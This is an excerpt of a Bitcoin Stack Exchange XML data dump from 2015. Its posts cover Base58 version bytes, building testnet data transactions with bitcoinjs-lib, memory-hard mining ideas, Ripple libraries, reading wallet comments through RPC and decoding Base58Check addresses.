  <row Id="36623" PostTypeId="1" AcceptedAnswerId="36624" CreationDate="2015-03-27T20:22:14.220" Score="0" ViewCount="2331" Body="&lt;p&gt;What is the Value of X in Base58?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Problem is when I referred to this table: &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Base58Check_encoding&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I in the end come up with D when I used 30, but I want X, so what will be the correct value for &lt;code&gt;PUBKEY_ADDRESS&lt;/code&gt; and (if necessary) &lt;code&gt;SCRIPT_ADDRESS&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my existing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUBKEY_ADDRESS = 30, // The letter X (Version 1 Addr.)  &#xA;         SCRIPT_ADDRESS = 9,         &#xA;PUBKEY_ADDRESS_TEST = 56, // The Letter P (Version 0 Addr.)  &#xA;   SCRIPT_ADDRESS_TEST = 119,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can somebody give the Value that will give me X &lt;/p&gt;&#xA;" OwnerUserId="24790" LastEditorUserId="2306" LastEditDate="2015-03-27T20:30:12.247" LastActivityDate="2015-03-27T21:52:37.960" Title="What version byte will produce a Base58 encoding starting with X?" Tags="|public-key|base58|encoding|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36624" PostTypeId="2" ParentId="36623" CreationDate="2015-03-27T21:52:37.960" Score="1" Body="&lt;p&gt;I wrote a node.js program to solve this in general.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var cs = require('coinstring')&#xA;&#xA;var hash160L = &quot;0000000000000000000000000000000000000000&quot; //hash representing uncompressed&#xA;var hash160H = &quot;FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&quot; //hash representing uncompressed&#xA;function startsWith(version) {&#xA;        var hash160Buf = new Buffer(hash160L, 'hex')&#xA;        lowEnd = cs.encode(hash160Buf, version).charAt(0);&#xA;        hash160Buf = new Buffer(hash160H, 'hex')&#xA;        highEnd = cs.encode(hash160Buf, version).charAt(0);&#xA;        if(lowEnd == highEnd) {&#xA;                return lowEnd;&#xA;        } else {&#xA;                return [lowEnd, highEnd];&#xA;        }&#xA;}&#xA;var version = 0x00; //Bitcoin public address&#xA;for(var i = 0; i &amp;lt; 256; i++) {&#xA;        console.log(i + &quot; will produce addresses starting with: &quot; + startsWith(i));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 will produce addresses starting with: 1&#xA;1 will produce addresses starting with: Q,o&#xA;2 will produce addresses starting with: o,2&#xA;3 will produce addresses starting with: 2&#xA;4 will produce addresses starting with: 2,3&#xA;5 will produce addresses starting with: 3&#xA;6 will produce addresses starting with: 3&#xA;7 will produce addresses starting with: 3,4&#xA;8 will produce addresses starting with: 4&#xA;9 will produce addresses starting with: 4,5&#xA;10 will produce addresses starting with: 5&#xA;11 will produce addresses starting with: 5&#xA;12 will produce addresses starting with: 5,6&#xA;13 will produce addresses starting with: 6&#xA;14 will produce addresses starting with: 6,7&#xA;15 will produce addresses starting with: 7&#xA;16 will produce addresses starting with: 7&#xA;17 will produce addresses starting with: 7,8&#xA;18 will produce addresses starting with: 8&#xA;19 will produce addresses starting with: 8,9&#xA;20 will produce addresses starting with: 9&#xA;21 will produce addresses starting with: 9&#xA;22 will produce addresses starting with: 9,A&#xA;23 will produce addresses starting with: A&#xA;24 will produce addresses starting with: A,B&#xA;25 will produce addresses starting with: B&#xA;26 will produce addresses starting with: B&#xA;27 will produce addresses starting with: B,C&#xA;28 will produce addresses starting with: C&#xA;29 will produce addresses starting with: C,D&#xA;30 will produce addresses starting with: D&#xA;31 will produce addresses starting with: D&#xA;32 will produce addresses starting with: D,E&#xA;33 will produce addresses starting with: E&#xA;34 will produce addresses starting with: E,F&#xA;35 will produce addresses starting with: F&#xA;36 will produce addresses starting with: F&#xA;37 will produce addresses starting with: F,G&#xA;38 will produce addresses starting with: G&#xA;39 will produce addresses starting with: G,H&#xA;40 will produce addresses starting with: H&#xA;41 will produce addresses starting with: H&#xA;42 will produce addresses starting with: H,J&#xA;43 will produce addresses starting with: J&#xA;44 will produce addresses starting with: J,K&#xA;45 will produce addresses starting with: K&#xA;46 will produce addresses starting with: K&#xA;47 will produce addresses starting with: K,L&#xA;48 will produce addresses starting with: L&#xA;49 will produce addresses starting with: L,M&#xA;50 will produce addresses starting with: M&#xA;51 will produce addresses starting with: M&#xA;52 will produce addresses starting with: M,N&#xA;53 will produce addresses starting with: N&#xA;54 will produce addresses starting with: N,P&#xA;55 will produce addresses starting with: P&#xA;56 will produce addresses starting with: P&#xA;57 will produce addresses starting with: P,Q&#xA;58 will produce addresses starting with: Q&#xA;59 will produce addresses starting with: Q,R&#xA;60 will produce addresses starting with: R&#xA;61 will produce addresses starting with: R&#xA;62 will produce addresses starting with: R,S&#xA;63 will produce addresses starting with: S&#xA;64 will produce addresses starting with: S,T&#xA;65 will produce addresses starting with: T&#xA;66 will produce addresses starting with: T&#xA;67 will produce addresses starting with: T,U&#xA;68 will produce addresses starting with: U&#xA;69 will produce addresses starting with: U,V&#xA;70 will produce addresses starting with: V&#xA;71 will produce addresses starting with: V&#xA;72 will produce addresses starting with: V,W&#xA;73 will produce addresses starting with: W&#xA;74 will produce addresses starting with: W,X&#xA;75 will produce addresses starting with: X&#xA;76 will produce addresses starting with: X&#xA;77 will produce addresses starting with: X,Y&#xA;78 will produce addresses starting with: Y&#xA;79 will produce addresses starting with: Y,Z&#xA;80 will produce addresses starting with: Z&#xA;81 will produce addresses starting with: Z&#xA;82 will produce addresses starting with: Z,a&#xA;83 will produce addresses starting with: a&#xA;84 will produce addresses starting with: a,b&#xA;85 will produce addresses starting with: b&#xA;86 will produce addresses starting with: b,c&#xA;87 will produce addresses starting with: c&#xA;88 will produce addresses starting with: c&#xA;89 will produce addresses starting with: c,d&#xA;90 will produce addresses starting with: d&#xA;91 will produce addresses starting with: d,e&#xA;92 will produce addresses starting with: e&#xA;93 will produce addresses starting with: e&#xA;94 will produce addresses starting with: e,f&#xA;95 will produce addresses starting with: f&#xA;96 will produce addresses starting with: f,g&#xA;97 will produce addresses starting with: g&#xA;98 will produce addresses starting with: g&#xA;99 will produce addresses starting with: g,h&#xA;100 will produce addresses starting with: h&#xA;101 will produce addresses starting with: h,i&#xA;102 will produce addresses starting with: i&#xA;103 will produce addresses starting with: i&#xA;104 will produce addresses starting with: i,j&#xA;105 will produce addresses starting with: j&#xA;106 will produce addresses starting with: j,k&#xA;107 will produce addresses starting with: k&#xA;108 will produce addresses starting with: k&#xA;109 will produce addresses starting with: k,m&#xA;110 will produce addresses starting with: m&#xA;111 will produce addresses starting with: m,n&#xA;112 will produce addresses starting with: n&#xA;113 will produce addresses starting with: n&#xA;114 will produce addresses starting with: n,o&#xA;115 will produce addresses starting with: o&#xA;116 will produce addresses starting with: o,p&#xA;117 will produce addresses starting with: p&#xA;118 will produce addresses starting with: p&#xA;119 will produce addresses starting with: p,q&#xA;120 will produce addresses starting with: q&#xA;121 will produce addresses starting with: q,r&#xA;122 will produce addresses starting with: r&#xA;123 will produce addresses starting with: r&#xA;124 will produce addresses starting with: r,s&#xA;125 will produce addresses starting with: s&#xA;126 will produce addresses starting with: s,t&#xA;127 will produce addresses starting with: t&#xA;128 will produce addresses starting with: t&#xA;129 will produce addresses starting with: t,u&#xA;130 will produce addresses starting with: u&#xA;131 will produce addresses starting with: u,v&#xA;132 will produce addresses starting with: v&#xA;133 will produce addresses starting with: v&#xA;134 will produce addresses starting with: v,w&#xA;135 will produce addresses starting with: w&#xA;136 will produce addresses starting with: w,x&#xA;137 will produce addresses starting with: x&#xA;138 will produce addresses starting with: x&#xA;139 will produce addresses starting with: x,y&#xA;140 will produce addresses starting with: y&#xA;141 will produce addresses starting with: y,z&#xA;142 will produce addresses starting with: z&#xA;143 will produce addresses starting with: z&#xA;144 will produce addresses starting with: z,2&#xA;145 will produce addresses starting with: 2&#xA;146 will produce addresses starting with: 2&#xA;147 will produce addresses starting with: 2&#xA;148 will produce addresses starting with: 2&#xA;149 will produce addresses starting with: 2&#xA;150 will produce addresses starting with: 2&#xA;151 will produce addresses starting with: 2&#xA;152 will produce addresses starting with: 2&#xA;153 will produce addresses starting with: 2&#xA;154 will produce addresses starting with: 2&#xA;155 will produce addresses starting with: 2&#xA;156 will produce addresses starting with: 2&#xA;157 will produce addresses starting with: 2&#xA;158 will produce addresses starting with: 2&#xA;159 will produce addresses starting with: 2&#xA;160 will produce addresses starting with: 2&#xA;161 will produce addresses starting with: 2&#xA;162 will produce addresses starting with: 2&#xA;163 will produce addresses starting with: 2&#xA;164 will produce addresses starting with: 2&#xA;165 will produce addresses starting with: 2&#xA;166 will produce addresses starting with: 2&#xA;167 will produce addresses starting with: 2&#xA;168 will produce addresses starting with: 2&#xA;169 will produce addresses starting with: 2&#xA;170 will produce addresses starting with: 2&#xA;171 will produce addresses starting with: 2&#xA;172 will produce addresses starting with: 2&#xA;173 will produce addresses starting with: 2&#xA;174 will produce addresses starting with: 2&#xA;175 will produce addresses starting with: 2&#xA;176 will produce addresses starting with: 2&#xA;177 will produce addresses starting with: 2&#xA;178 will produce addresses starting with: 2&#xA;179 will produce addresses starting with: 2&#xA;180 will produce addresses starting with: 2&#xA;181 will produce addresses starting with: 2&#xA;182 will produce addresses starting with: 2&#xA;183 will produce addresses starting with: 2&#xA;184 will produce addresses starting with: 2&#xA;185 will produce addresses starting with: 2&#xA;186 will produce addresses starting with: 2&#xA;187 will produce addresses starting with: 2&#xA;188 will produce addresses starting with: 2&#xA;189 will produce addresses starting with: 2&#xA;190 will produce addresses starting with: 2&#xA;191 will produce addresses starting with: 2&#xA;192 will produce addresses starting with: 2&#xA;193 will produce addresses starting with: 2&#xA;194 will produce addresses starting with: 2&#xA;195 will produce addresses starting with: 2&#xA;196 will produce addresses starting with: 2&#xA;197 will produce addresses starting with: 2&#xA;198 will produce addresses starting with: 2&#xA;199 will produce addresses starting with: 2&#xA;200 will produce addresses starting with: 2&#xA;201 will produce addresses starting with: 2&#xA;202 will produce addresses starting with: 2&#xA;203 will produce addresses starting with: 2&#xA;204 will produce addresses starting with: 2&#xA;205 will produce addresses starting with: 2&#xA;206 will produce addresses starting with: 2&#xA;207 will produce addresses starting with: 2&#xA;208 will produce addresses starting with: 2&#xA;209 will produce addresses starting with: 2&#xA;210 will produce addresses starting with: 2&#xA;211 will produce addresses starting with: 2&#xA;212 will produce addresses starting with: 2&#xA;213 will produce addresses starting with: 2&#xA;214 will produce addresses starting with: 2&#xA;215 will produce addresses starting with: 2&#xA;216 will produce addresses starting with: 2&#xA;217 will produce addresses starting with: 2&#xA;218 will produce addresses starting with: 2&#xA;219 will produce addresses starting with: 2&#xA;220 will produce addresses starting with: 2&#xA;221 will produce addresses starting with: 2&#xA;222 will produce addresses starting with: 2&#xA;223 will produce addresses starting with: 2&#xA;224 will produce addresses starting with: 2&#xA;225 will produce addresses starting with: 2&#xA;226 will produce addresses starting with: 2&#xA;227 will produce addresses starting with: 2&#xA;228 will produce addresses starting with: 2&#xA;229 will produce addresses starting with: 2&#xA;230 will produce addresses starting with: 2&#xA;231 will produce addresses starting with: 2&#xA;232 will produce addresses starting with: 2&#xA;233 will produce addresses starting with: 2&#xA;234 will produce addresses starting with: 2&#xA;235 will produce addresses starting with: 2&#xA;236 will produce addresses starting with: 2&#xA;237 will produce addresses starting with: 2&#xA;238 will produce addresses starting with: 2&#xA;239 will produce addresses starting with: 2&#xA;240 will produce addresses starting with: 2&#xA;241 will produce addresses starting with: 2&#xA;242 will produce addresses starting with: 2&#xA;243 will produce addresses starting with: 2&#xA;244 will produce addresses starting with: 2&#xA;245 will produce addresses starting with: 2&#xA;246 will produce addresses starting with: 2&#xA;247 will produce addresses starting with: 2&#xA;248 will produce addresses starting with: 2&#xA;249 will produce addresses starting with: 2&#xA;250 will produce addresses starting with: 2&#xA;251 will produce addresses starting with: 2&#xA;252 will produce addresses starting with: 2&#xA;253 will produce addresses starting with: 2&#xA;254 will produce addresses starting with: 2&#xA;255 will produce addresses starting with: 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;strong&gt;75&lt;/strong&gt; or &lt;strong&gt;76&lt;/strong&gt;. 74 and 77 will work too, but only sometimes.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-27T21:52:37.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36626" PostTypeId="2" ParentId="36618" CreationDate="2015-03-27T23:28:46.993" Score="2" Body="&lt;p&gt;I think my issue was that I was accidentally trying to spend the output from my first transaction (which had insufficient funds for both the given fee and the given amount of change) instead of the output I was getting from the faucet, which I meant to spend. I haven't written a &lt;i&gt;good&lt;/i&gt; solution to this problem yet, but I got around it in this simplified instance by building both transactions before propagating either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blocktrail.com/tBTC/tx/36cb1b2e575d249bf9a2d4b26ff1517fc8ea747c9769dd43acddb89ffd07b768&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is one of the transactions, and &lt;a href=&quot;https://www.blocktrail.com/tBTC/tx/9dbf8a44897f7965bca596091802bfd9ab02923d1741f6ec6aa349ab2f2c3638&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the horrible code that made them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var assert = require('assert'),&#xA;    bitcoin = require('bitcoinjs-lib'),&#xA;    blockchain = new (require('cb-helloblock'))('testnet'),&#xA;    dynamicKey,&#xA;    dynamicChangeKey,&#xA;    transactions = [],&#xA;    dataPoints = [],&#xA;    dataScripts = [];&#xA;&#xA;connect = function (callback) {&#xA;    dynamicKey = bitcoin.ECKey.makeRandom();&#xA;    dynamicChangeKey = bitcoin.ECKey.makeRandom();&#xA;&#xA;    buildTransaction(dynamicKey, dynamicChangeKey, &#xA;            &quot;Connecting to blockchain...&quot;, callback);&#xA;};&#xA;&#xA;message = function (callback) {&#xA;    dynamicKey = dynamicChangeKey; //bitcoin.ECKey.makeRandom();&#xA;    dynamicChangeKey = bitcoin.ECKey.makeRandom();&#xA;&#xA;    buildTransaction(dynamicKey, dynamicChangeKey, &quot;Posted to blockchain.&quot;, &#xA;            callback);&#xA;};&#xA;&#xA;buildTransaction = function (key, changeKey, arbitraryData, callback) {&#xA;    var address = key.pub.getAddress(bitcoin.networks.testnet).&#xA;            toString();&#xA;&#xA;    blockchain.addresses.__faucetWithdraw(address, 2e4, function (err) {&#xA;&#xA;        if (err) return callback(err);&#xA;&#xA;        blockchain.addresses.unspents(address, function (err, unspents) {&#xA;            var tx,&#xA;                data,&#xA;                dataScript,&#xA;                unspent,&#xA;                txBuilt;&#xA;&#xA;            if (err) return callback(err);&#xA;&#xA;            tx = new bitcoin.TransactionBuilder();&#xA;            data = new Buffer(arbitraryData.toString());&#xA;            dataScript = bitcoin.scripts.nullDataOutput(data);&#xA;            unspent = unspents.pop();&#xA;&#xA;            tx.addInput(unspent.txId, unspent.vout);&#xA;            tx.addOutput(dataScript, 1000);&#xA;            tx.addOutput(changeKey.pub.getAddress(bitcoin.networks.&#xA;                    testnet).toString(), 1000);&#xA;            tx.sign(0, key);&#xA;            txBuilt = tx.build();&#xA;&#xA;            dataPoints.push(data);&#xA;            dataScripts.push(dataScript);&#xA;            transactions.push(txBuilt);&#xA;&#xA;            callback();&#xA;        });&#xA;    });&#xA;};&#xA;&#xA;propogateTransaction = function (data, dataScript, txBuilt, callback) {&#xA;&#xA;    blockchain.transactions.propagate(txBuilt.toHex(), function (err) {&#xA;&#xA;        if (err) return callback(err);&#xA;&#xA;        // check that the message was propagated&#xA;        blockchain.transactions.get(txBuilt.getId(), function (err, &#xA;               transaction) {&#xA;            var actual,&#xA;                dataScript2,&#xA;                data2;&#xA;&#xA;            if (err) return callback(err);&#xA;&#xA;            actual = bitcoin.Transaction.fromHex(transaction.txHex);&#xA;            dataScript2 = actual.outs[0].script;&#xA;            data2 = dataScript2.chunks[1];&#xA;&#xA;            assert.deepEqual(dataScript, dataScript2);&#xA;            assert.deepEqual(data, data2);&#xA;&#xA;            callback();&#xA;        });&#xA;    });&#xA;};&#xA;&#xA;propogateBothTransactions = function () {&#xA;    propogateTransaction(dataPoints[0], dataScripts[0], transactions[0], &#xA;            propogateTransaction.bind(undefined, dataPoints[1], dataScripts[1], &#xA;            transactions[1], log));&#xA;};&#xA;&#xA;&#xA;log = function (value) {&#xA;    console.log(value);&#xA;};&#xA;&#xA;connect(message.bind(undefined, propogateBothTransactions));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24796" LastActivityDate="2015-03-27T23:28:46.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36628" PostTypeId="2" ParentId="36622" CreationDate="2015-03-28T06:24:20.427" Score="2" Body="&lt;p&gt;I think a mining process that made use of stochastic sampling of a large data set would meet the requirements you have laid out. The blockchain even provides a great data set for this. For example, let's say each nonce requires you to randomly sample the blockchain to pick out a few bytes. Since you use many nonces while mining and couldn't predict which data you would need from the block chain, you would basically need to have the whole block chain (any publicly agreed upon data set, really) available while mining. The solution can then be verified with a small sample of that data set and some proof that the data is in the set. When using the blockchain example, you would probably need a chain of block headers and a merkle branch for the transaction data selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to do this would be to &lt;strong&gt;use a large random merkle tree&lt;/strong&gt;. Let's say someone created a merkle tree of 2^31 random 32 byte values. When taking into account that the merkle branches have to be stored as well, this is &lt;code&gt;(1 + 2 + 2^2 + 2^3 + ... + 2^31) * 32 bytes&lt;/code&gt;, or &lt;code&gt;(2^32-1)*32 ~= 137.4 GB&lt;/code&gt; of data in all. This data is very publicly available for anyone who really wanted to download it and verify the merkle root. The merkle root would be made known as the mining merkle root, and it is a well known and agreed upon constant. Mining involves sampling this random merkle tree and hashing, and with finding a successful solution, the merkle tree branch is provided, proving that the data that was sampled is actually in the publicly agreed upon merkle tree. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In this scheme, it takes ~137.4 GB of memory to mine, but only ~1 kB of data to verify a solution against the publicly agreed upon mining merkle root.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the numbers could obviously be tweaked here to allow people to mine without giving up 137.4 GB of their harddrive. A balance would have to be reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually like this way better, now that I think about it, because it doesn't have the side effect that mining can take longer as the block chain grows. You could probably even snapshot the bitcoin block chain and use that as a pubicly verifiable data set. But the block chain method essentially forces nodes to be full nodes as well, which is interesting, so it's a tradeoff. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: With a quick search, I turned up this paper that solves essentially the same problem with a different stochastic sampling method involving the birthday paradox. Their solution is interesting because it involves building your own large data set each time. But this may not actually be a good thing, as it discourages re-building of blocks when new transactions come in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hashcash.org/papers/momentum.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.hashcash.org/papers/momentum.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A relevant bitcointalk discussion on the Momentum algorithm: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=313479.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=313479.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's funny how the 'momentum' aspect (not being able to update merkle after it is first created) is touted as the defining characteristic of the algorithm, even though it's actually a pretty significant downside, delaying confirmation of all transactions by 1 block. It may also exacerbate the problem where miners don't want to mine large blocks because they take long to propagate. i.e. It may be more profitable to continue mining with your tiny block even after you have heard about a new block on the network because the momentum you already have makes it easier. I think the fact that bitcoin's PoW algorithm does not have any momentum is actually a great feature, allowing for transactions to get confirmed quickly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an unchanging data set, like in the solution I provided above, provides the desired asymmetric memory requirements in working/verifying work, while also avoiding the problem of momentum.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-03-28T07:03:55.040" LastActivityDate="2015-03-28T07:03:55.040" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36629" PostTypeId="1" CreationDate="2015-03-28T06:41:34.457" Score="3" ViewCount="1573" Body="&lt;p&gt;I am wondering, what libraries are out there for communicating with Ripple through its API (either websocket or JSON RPC)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2015-03-28T07:56:25.853" LastActivityDate="2015-04-15T20:37:42.350" Title="What Ripple API libraries are available?" Tags="|development|api|ripple|library|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36630" PostTypeId="2" ParentId="36629" CreationDate="2015-03-28T06:41:34.457" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Ripple labs have created a number of &lt;a href=&quot;https://github.com/ripple&quot; rel=&quot;nofollow&quot;&gt;GitHub repositories&lt;/a&gt; relating to Ripple, including &lt;a href=&quot;https://github.com/ripple/ripple-lib&quot; rel=&quot;nofollow&quot;&gt;ripple-lib&lt;/a&gt; for JavaScript and a work in progress &lt;a href=&quot;https://github.com/ripple/ripple-lib-java&quot; rel=&quot;nofollow&quot;&gt;ripple-lib-java&lt;/a&gt; for Java.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.rubblelabs.com/&quot; rel=&quot;nofollow&quot;&gt;Rubble Labs&lt;/a&gt; have released their &lt;a href=&quot;https://github.com/rubblelabs/ripple&quot; rel=&quot;nofollow&quot;&gt;ripple library&lt;/a&gt; for Golang&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/CodeShark&quot; rel=&quot;nofollow&quot;&gt;CodeShark&lt;/a&gt; has released &lt;a href=&quot;https://github.com/CodeShark/ripple-lib-cpp&quot; rel=&quot;nofollow&quot;&gt;a C++ library&lt;/a&gt; for communicating with Ripple through a websocket&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2015-04-15T20:37:42.350" LastActivityDate="2015-04-15T20:37:42.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36631" PostTypeId="1" AcceptedAnswerId="36633" CreationDate="2015-03-28T14:16:10.427" Score="0" ViewCount="190" Body="&lt;p&gt;How can I retrieve the &lt;code&gt;comment&lt;/code&gt; field from a payment transaction that I made from my QT wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the &lt;code&gt;comment&lt;/code&gt; when I click &quot;Show transaction details&quot; in my QT but I cannot find a way to do this from the RPC console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2015-03-29T01:00:13.157" Title="How to read a tx's comment?" Tags="|json-rpc|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36633" PostTypeId="2" ParentId="36631" CreationDate="2015-03-28T16:53:55.103" Score="3" Body="&lt;p&gt;Use the &lt;code&gt;listtransactions&lt;/code&gt; RPC call, and look for a field named &lt;code&gt;comment&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli listtransactions&#xA;[&#xA;...&#xA;    {&#xA;        &quot;account&quot; : &quot;&quot;,&#xA;        &quot;address&quot; : &quot;msj42CCGruhRsFrGATiUuh25dtxYtnpbTx&quot;,&#xA;        &quot;category&quot; : &quot;send&quot;,&#xA;        &quot;amount&quot; : -0.00001000,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;fee&quot; : -0.00000225,&#xA;        &quot;confirmations&quot; : 0,&#xA;        &quot;txid&quot; : &quot;0ecdc2da9266635349ad04b7374eb1032919c34e7949e60cec198b47e31d2f26&quot;,&#xA;        &quot;walletconflicts&quot; : [&#xA;        ],&#xA;        &quot;time&quot; : 1427561024,&#xA;        &quot;timereceived&quot; : 1427561024,&#xA;        &quot;comment&quot; : &quot;COMMENT&quot; &amp;lt;--- Here&#xA;    },&#xA;...&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this comment only exists in your wallet, and is not sent across the network. The other party to the transaction will not see it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-29T01:00:13.157" LastActivityDate="2015-03-29T01:00:13.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36634" PostTypeId="1" AcceptedAnswerId="36636" CreationDate="2015-03-28T19:55:46.550" Score="4" ViewCount="2805" Body="&lt;p&gt;How do I get to the value in the 'scriptPubKey' part of the transaction ? &#xA;&lt;img src=&quot;https://i.stack.imgur.com/eK9UA.png&quot; alt=&quot;decoded transaction&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sender knows only the address (1A3XjcuZmcszX2tGoVn1TrMNchuHwdAxZV) so how did he get into 63339ebf4914d964fbc729b0dc4c1a44c4fb8f80 ?&#xA;I've tried ripemd160(sha256(address)) didn't work .&#xA;I've tried sha256(sha256(address)) didn't work. &lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="2306" LastEditDate="2015-03-28T20:27:51.383" LastActivityDate="2016-01-03T17:20:05.280" Title="How do I get to the value in the 'scriptPubKey' part of the transaction ?" Tags="|transactions|base58check|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36636" PostTypeId="2" ParentId="36634" CreationDate="2015-03-28T20:45:05.200" Score="6" Body="&lt;p&gt;Addresses are kept in &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;Base58Check&lt;/a&gt; format. Here's how you decode it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decode the base58 encoding (similar to Base64). You should have 25 bytes.&lt;/li&gt;&#xA;&lt;li&gt;Check that the 1st byte is 0x00 (the version byte of Bitcoin)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check that the last 4 bytes are a correct checksum of the rest. This is done (in Python) by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sha256(sha256(data[0:21]))[:4] == data[-4:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Or, &quot;take the first 4 bytes of a double-SHA256 of the first 21 bytes of the decoded data, then compare to the last 4 bytes of the decoded data.&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take the middle 20 bytes (&lt;code&gt;data[1:21]&lt;/code&gt;) and insert it into the following scriptPubKey.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 &amp;lt;x&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are some libraries that will do steps 1-3:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/luke-jr/libbase58&quot; rel=&quot;nofollow&quot;&gt;libbasse58&lt;/a&gt; (C)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lenschulwitz.com/b58/base58perl.txt&quot; rel=&quot;nofollow&quot;&gt;base58perl&lt;/a&gt; (Perl)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinlib&lt;/a&gt; (Python)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoinj/bitcoinj&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt; (Java)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte[] hash160 = new Address(NetworkParameters.prodNet(),&#xA;    &amp;lt;addr&amp;gt;).getHash160();&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/cryptocoinjs/coinstring&quot; rel=&quot;nofollow&quot;&gt;coinstring.js&lt;/a&gt; (node.js)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require('coinstring').decode(&amp;lt;addr&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rosettacode.org/wiki/Bitcoin/address_validation&quot; rel=&quot;nofollow&quot;&gt;Various examples on rosetta code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-01-03T17:20:05.280" LastActivityDate="2016-01-03T17:20:05.280" CommentCount="3" ContentLicense="CC 